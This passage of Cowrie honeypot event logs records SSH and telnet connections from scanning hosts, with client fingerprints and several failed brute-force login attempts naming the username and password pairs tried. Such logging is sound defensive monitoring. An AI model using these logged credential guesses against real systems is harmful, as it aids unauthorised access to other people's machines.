6-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.693384Z","src_ip":"152.32.171.213","session":"3f85b8bb431d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"963852741","message":"login attempt [admin/963852741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:13.437426Z","src_ip":"103.13.206.100","session":"0b4e170c79de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UBUNTU@2021","message":"login attempt [ubuntu/UBUNTU@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:13.589835Z","src_ip":"152.32.171.213","session":"3f85b8bb431d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:14.676618Z","src_ip":"103.13.206.100","session":"0b4e170c79de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:14.832250Z","src_ip":"152.32.171.213","session":"3f85b8bb431d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41940,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dedfec24b33","protocol":"telnet","message":"New connection: 64.227.9.242:41940 (159.203.135.109:23) [session: 0dedfec24b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:16.809614Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50216,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc16f528a4fb","protocol":"telnet","message":"New connection: 64.227.9.242:50216 (159.203.135.109:23) [session: bc16f528a4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:23.466762Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50728,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5edbbf2ba66","protocol":"telnet","message":"New connection: 64.227.9.242:50728 (159.203.135.109:23) [session: f5edbbf2ba66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:24.810300Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59012,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0291dbf535c","protocol":"telnet","message":"New connection: 64.227.9.242:59012 (159.203.135.109:23) [session: b0291dbf535c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:29.956302Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"4195e171b96c","protocol":"telnet","message":"New connection: 69.65.3.189:39916 (10.17.0.5:23) [session: 4195e171b96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:30.673688Z"}
{"eventid":"cowrie.session.closed","duration":34.90312433242798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:32.702140Z","src_ip":"64.227.9.242","session":"309e201968a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38798,"dst_ip":"159.203.135.109","dst_port":23,"session":"7354162bd5bf","protocol":"telnet","message":"New connection: 64.227.9.242:38798 (159.203.135.109:23) [session: 7354162bd5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:38.426548Z"}
{"eventid":"cowrie.session.closed","duration":36.00123333930969,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:52.810717Z","src_ip":"64.227.9.242","session":"0dedfec24b33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":56722,"dst_ip":"10.17.0.5","dst_port":22,"session":"00daef303589","protocol":"ssh","message":"New connection: 1.235.192.214:56722 (10.17.0.5:22) [session: 00daef303589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:54.713211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:54.718379Z","src_ip":"1.235.192.214","session":"00daef303589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:54.901186Z","src_ip":"1.235.192.214","session":"00daef303589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"thx1138","message":"login attempt [admin/thx1138] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:55.664722Z","src_ip":"1.235.192.214","session":"00daef303589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:56.849839Z","src_ip":"1.235.192.214","session":"00daef303589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96255970001221,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:58.772738Z","src_ip":"64.227.9.242","session":"f5edbbf2ba66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93887686729431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:59.405504Z","src_ip":"64.227.9.242","session":"bc16f528a4fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":34290,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c964ab65000","protocol":"ssh","message":"New connection: 112.217.199.222:34290 (10.17.0.5:22) [session: 6c964ab65000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:59.490286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:59.499166Z","src_ip":"112.217.199.222","session":"6c964ab65000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:59.701943Z","src_ip":"112.217.199.222","session":"6c964ab65000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p@ssw0rd","message":"login attempt [guest/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:00.544609Z","src_ip":"112.217.199.222","session":"6c964ab65000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:01.750518Z","src_ip":"112.217.199.222","session":"6c964ab65000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"6478e1316754","protocol":"telnet","message":"New connection: 69.65.3.189:49704 (10.17.0.5:23) [session: 6478e1316754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:02.745666Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ae59ff002f","protocol":"telnet","message":"New connection: 64.227.9.242:60436 (159.203.135.109:23) [session: 74ae59ff002f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:04.215753Z"}
{"eventid":"cowrie.session.closed","duration":35.42228293418884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:05.378491Z","src_ip":"64.227.9.242","session":"b0291dbf535c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.88306546211243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:08.556637Z","src_ip":"69.65.3.189","session":"4195e171b96c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67282032966614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:12.099248Z","src_ip":"64.227.9.242","session":"7354162bd5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38598,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f709a6ebf7","protocol":"telnet","message":"New connection: 64.227.9.242:38598 (159.203.135.109:23) [session: 42f709a6ebf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:12.675534Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40548,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e532e5f6f99","protocol":"telnet","message":"New connection: 64.227.9.242:40548 (159.203.135.109:23) [session: 0e532e5f6f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:15.024744Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":42214,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc9bdf5aa1a","protocol":"ssh","message":"New connection: 152.32.171.213:42214 (10.17.0.5:22) [session: edc9bdf5aa1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:29.022053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:29.026966Z","src_ip":"152.32.171.213","session":"edc9bdf5aa1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:29.239644Z","src_ip":"152.32.171.213","session":"edc9bdf5aa1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"12345","message":"login attempt [hduser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:30.121156Z","src_ip":"152.32.171.213","session":"edc9bdf5aa1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54596,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f9711e05dc4","protocol":"telnet","message":"New connection: 64.227.9.242:54596 (159.203.135.109:23) [session: 2f9711e05dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:30.891551Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36012,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63c1fa8603d","protocol":"ssh","message":"New connection: 103.129.221.202:36012 (10.17.0.5:22) [session: d63c1fa8603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.012417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.016908Z","src_ip":"103.129.221.202","session":"d63c1fa8603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":51626,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6640d00084","protocol":"ssh","message":"New connection: 103.13.206.100:51626 (10.17.0.5:22) [session: ae6640d00084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.021728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.026186Z","src_ip":"103.13.206.100","session":"ae6640d00084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.262738Z","src_ip":"103.13.206.100","session":"ae6640d00084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.270535Z","src_ip":"103.129.221.202","session":"d63c1fa8603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:31.336227Z","src_ip":"152.32.171.213","session":"edc9bdf5aa1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testadmin","password":"testadmin","message":"login attempt [testadmin/testadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:32.240108Z","src_ip":"103.13.206.100","session":"ae6640d00084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2023","message":"login attempt [devops/devops2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:32.331832Z","src_ip":"103.129.221.202","session":"d63c1fa8603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:33.478247Z","src_ip":"103.13.206.100","session":"ae6640d00084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:33.625564Z","src_ip":"103.129.221.202","session":"d63c1fa8603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58822,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa727d0e9675","protocol":"telnet","message":"New connection: 64.227.9.242:58822 (159.203.135.109:23) [session: fa727d0e9675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:35.218995Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a32e4b5304","protocol":"telnet","message":"New connection: 64.227.9.242:59650 (159.203.135.109:23) [session: 67a32e4b5304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:36.031285Z"}
{"eventid":"cowrie.session.closed","duration":37.19851231575012,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:41.414112Z","src_ip":"64.227.9.242","session":"74ae59ff002f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39160,"dst_ip":"159.203.135.109","dst_port":23,"session":"205d7a42095d","protocol":"telnet","message":"New connection: 64.227.9.242:39160 (159.203.135.109:23) [session: 205d7a42095d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:43.613626Z"}
{"eventid":"cowrie.session.closed","duration":43.61810755729675,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:46.363633Z","src_ip":"69.65.3.189","session":"6478e1316754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.686954975128174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:48.362376Z","src_ip":"64.227.9.242","session":"42f709a6ebf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47048,"dst_ip":"159.203.135.109","dst_port":23,"session":"c760bc9359e1","protocol":"telnet","message":"New connection: 64.227.9.242:47048 (159.203.135.109:23) [session: c760bc9359e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:50.997312Z"}
{"eventid":"cowrie.session.closed","duration":37.08434844017029,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:52.108958Z","src_ip":"64.227.9.242","session":"0e532e5f6f99","protocol":"telnet"}
